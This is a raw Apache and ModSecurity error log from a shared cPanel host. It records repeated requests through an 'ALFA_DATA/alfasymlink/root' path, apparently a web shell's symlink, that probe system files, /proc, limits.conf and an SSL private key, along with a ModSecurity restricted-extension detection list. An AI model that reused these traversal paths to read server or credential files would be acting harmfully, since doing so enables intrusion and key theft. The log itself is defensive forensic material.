[Sun Oct 25 20:15:01.277885 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 90.160.102.36:30452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/hwcache_align
[Sun Oct 25 20:15:02.198626 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 34.226.89.140:9365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:15:04.376803 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 186.247.54.40:64822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/hwcache_align
[Sun Oct 25 20:15:06.330788 2026] [ssl:error] [pid 2926881:tid 2926881] (70014)End of file found: [client 44.212.232.231:2757] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:15:14.221162 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 3.212.205.90:58141] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:15:22.300928 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 35.169.119.108:38283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:15:26.208265 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 54.147.238.89:16517] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:15:30.241914 2026] [security2:error] [pid 2926850:tid 2926850] [client 52.70.123.241:49438] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/PNP0A06:00/physical_node/"] [unique_id "at6bopYUijJJJpUKZ5VYYgAAAAI"]
[Sun Oct 25 20:15:30.241951 2026] [security2:error] [pid 2926850:tid 2926850] [client 52.70.123.241:49438] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/PNP0A06:00/physical_node/"] [unique_id "at6bopYUijJJJpUKZ5VYYgAAAAI"]
[Sun Oct 25 20:15:39.543419 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 73.54.201.74:50126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/alloc_calls
[Sun Oct 25 20:15:40.638608 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 185.191.171.5:20724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-256/sanity_checks
[Sun Oct 25 20:15:41.819896 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 213.106.132.125:37553] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/alloc_calls
[Sun Oct 25 20:15:42.443780 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 50.16.216.166:28280] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:15:43.330856 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 38.49.93.150:39094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/alloc_calls
[Sun Oct 25 20:15:49.629144 2026] [security2:error] [pid 2922868:tid 2922868] [client 174.172.36.44:45901] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at6btWICTqSqeaZzEzUoZwAAABw"]
[Sun Oct 25 20:15:49.629689 2026] [security2:error] [pid 2922868:tid 2922868] [client 174.172.36.44:45901] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at6btWICTqSqeaZzEzUoZwAAABw"]
[Sun Oct 25 20:15:49.630138 2026] [security2:error] [pid 2922868:tid 2922868] [client 174.172.36.44:45901] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at6btWICTqSqeaZzEzUoZwAAABw"]
[Sun Oct 25 20:15:51.712145 2026] [security2:error] [pid 2926323:tid 2926323] [client 86.132.176.247:52292] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at6bty7g7KvJoU2B-eLK9QAAAAY"]
[Sun Oct 25 20:15:51.712675 2026] [security2:error] [pid 2926323:tid 2926323] [client 86.132.176.247:52292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at6bty7g7KvJoU2B-eLK9QAAAAY"]
[Sun Oct 25 20:15:51.713001 2026] [security2:error] [pid 2926323:tid 2926323] [client 86.132.176.247:52292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at6bty7g7KvJoU2B-eLK9QAAAAY"]
[Sun Oct 25 20:15:53.706523 2026] [security2:error] [pid 2926322:tid 2926322] [client 185.107.80.128:60028] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at6budFkJAT_B5m2Ey9vsAAAAAM"]
[Sun Oct 25 20:15:53.707011 2026] [security2:error] [pid 2926322:tid 2926322] [client 185.107.80.128:60028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at6budFkJAT_B5m2Ey9vsAAAAAM"]
[Sun Oct 25 20:15:53.707366 2026] [security2:error] [pid 2926322:tid 2926322] [client 185.107.80.128:60028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at6budFkJAT_B5m2Ey9vsAAAAAM"]
[Sun Oct 25 20:16:06.257731 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.90.8.255:8254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:16:06.257898 2026] [security2:error] [pid 2913030:tid 2913030] [client 54.90.8.255:8254] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/subsystem/input4/subsystem/event2/device/id/vendor"] [unique_id "at6bxtACfKmH39GTPJ9jugAAAAg"]
[Sun Oct 25 20:16:06.257934 2026] [security2:error] [pid 2913030:tid 2913030] [client 54.90.8.255:8254] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/subsystem/input4/subsystem/event2/device/id/vendor"] [unique_id "at6bxtACfKmH39GTPJ9jugAAAAg"]
[Sun Oct 25 20:16:07.003486 2026] [security2:error] [pid 2925278:tid 2925278] [client 80.82.65.22:40000] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at6bxhaKu-Zjs56a5J4rFAAAAAo"]
[Sun Oct 25 20:16:07.004579 2026] [authz_core:error] [pid 2925278:tid 2925278] [client 80.82.65.22:40000] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:16:14.149686 2026] [core:error] [pid 2926881:tid 2926881] (13)Permission denied: [client 3.213.85.234:8373] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty48/subsystem/ttyS3/iomem_reg_shift
[Sun Oct 25 20:16:18.454986 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 34.231.118.144:18177] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:16:22.349205 2026] [core:error] [pid 2922286:tid 2922286] (13)Permission denied: [client 100.28.204.82:36780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/request_sock_subflow/remote_node_defrag_ratio
[Sun Oct 25 20:16:25.591985 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 94.20.125.178:35819] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/lfd.pid
[Sun Oct 25 20:16:27.434159 2026] [core:error] [pid 2926881:tid 2926881] (13)Permission denied: [client 98.162.69.62:6370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/lfd.pid
[Sun Oct 25 20:16:42.174429 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 50.17.193.48:53759] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:16:46.180470 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 52.200.93.170:3192] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:16:50.195182 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 52.2.191.202:51013] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/pci_express/drivers/pcie_pme/bind
[Sun Oct 25 20:16:50.949755 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 186.189.108.64:55069] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/validate
[Sun Oct 25 20:16:52.828149 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 24.74.45.90:34119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/validate
[Sun Oct 25 20:16:54.446818 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 216.131.77.171:43703] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/validate
[Sun Oct 25 20:17:18.201033 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 54.225.199.17:22789] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource1
[Sun Oct 25 20:17:22.182870 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 3.213.46.222:29444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:17:24.465223 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 185.191.171.5:64774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/aliases
[Sun Oct 25 20:17:27.925342 2026] [security2:error] [pid 2926881:tid 2926881] [client 185.191.171.11:62978] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cb27e_b05ef_07c46a1fba13bcf08f47c69d26fd465d.key"] [unique_id "at6cFzfgM0I31h6kt_4ciwAAAAc"]
[Sun Oct 25 20:17:27.925777 2026] [security2:error] [pid 2926881:tid 2926881] [client 185.191.171.11:62978] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cb27e_b05ef_07c46a1fba13bcf08f47c69d26fd465d.key"] [unique_id "at6cFzfgM0I31h6kt_4ciwAAAAc"]
[Sun Oct 25 20:17:27.926122 2026] [security2:error] [pid 2926881:tid 2926881] [client 185.191.171.11:62978] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cb27e_b05ef_07c46a1fba13bcf08f47c69d26fd465d.key"] [unique_id "at6cFzfgM0I31h6kt_4ciwAAAAc"]
[Sun Oct 25 20:17:46.197602 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 54.84.250.51:51645] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:17:54.204727 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 35.174.141.243:9624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:17:58.130760 2026] [core:crit] [pid 2926322:tid 2926322] (13)Permission denied: [client 216.244.66.250:35158] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pure-ftpd/64.20.54.226/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pure-ftpd/64.20.54.226/' is executable
[Sun Oct 25 20:18:00.541064 2026] [security2:error] [pid 2918422:tid 2918422] [client 107.172.76.131:49516] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6cLMmX8eKs_cgmrz9v7wAAAAU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 20:18:00.541125 2026] [security2:error] [pid 2918422:tid 2918422] [client 107.172.76.131:49516] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6cLMmX8eKs_cgmrz9v7wAAAAU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 20:18:01.846595 2026] [core:crit] [pid 2926881:tid 2926881] (13)Permission denied: [client 216.244.66.250:53638] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/17/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/17/fd/' is executable
[Sun Oct 25 20:18:01.846681 2026] [core:crit] [pid 2926881:tid 2926881] (13)Permission denied: [client 216.244.66.250:53638] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/17/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/17/map_files/' is executable
[Sun Oct 25 20:18:01.846716 2026] [core:crit] [pid 2926881:tid 2926881] (13)Permission denied: [client 216.244.66.250:53638] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/17/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/17/fdinfo/' is executable
[Sun Oct 25 20:18:10.164445 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 151.240.254.36:40042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/destroy_by_rcu
[Sun Oct 25 20:18:10.193277 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 98.83.177.42:50863] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:18:12.464393 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 45.178.251.119:64404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/destroy_by_rcu
[Sun Oct 25 20:18:14.181120 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 52.204.253.129:5886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:18:14.530146 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 98.244.54.222:36341] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/destroy_by_rcu
[Sun Oct 25 20:18:18.253998 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 52.3.104.214:43534] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:18:26.191460 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 54.235.172.108:29559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:18:30.179741 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 44.193.102.198:49163] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:18:34.185206 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 54.225.148.123:35046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:18:46.204457 2026] [ssl:error] [pid 2922868:tid 2922868] (5)Input/output error: [client 107.20.181.148:33119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:18:49.859514 2026] [core:error] [pid 2922286:tid 2922286] (13)Permission denied: [client 185.191.171.3:43810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/alloc_calls
[Sun Oct 25 20:19:02.271413 2026] [ssl:error] [pid 2922867:tid 2922867] (5)Input/output error: [client 52.2.4.213:33971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:19:12.030429 2026] [security2:error] [pid 2927273:tid 2927273] [client 16.216.88.188:40960] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/limits.conf"] [unique_id "at6cgDmmX3asvCDITlDv-QAAAAA"]
[Sun Oct 25 20:19:12.030897 2026] [security2:error] [pid 2927273:tid 2927273] [client 16.216.88.188:40960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/limits.conf"] [unique_id "at6cgDmmX3asvCDITlDv-QAAAAA"]
[Sun Oct 25 20:19:12.031249 2026] [security2:error] [pid 2927273:tid 2927273] [client 16.216.88.188:40960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/limits.conf"] [unique_id "at6cgDmmX3asvCDITlDv-QAAAAA"]
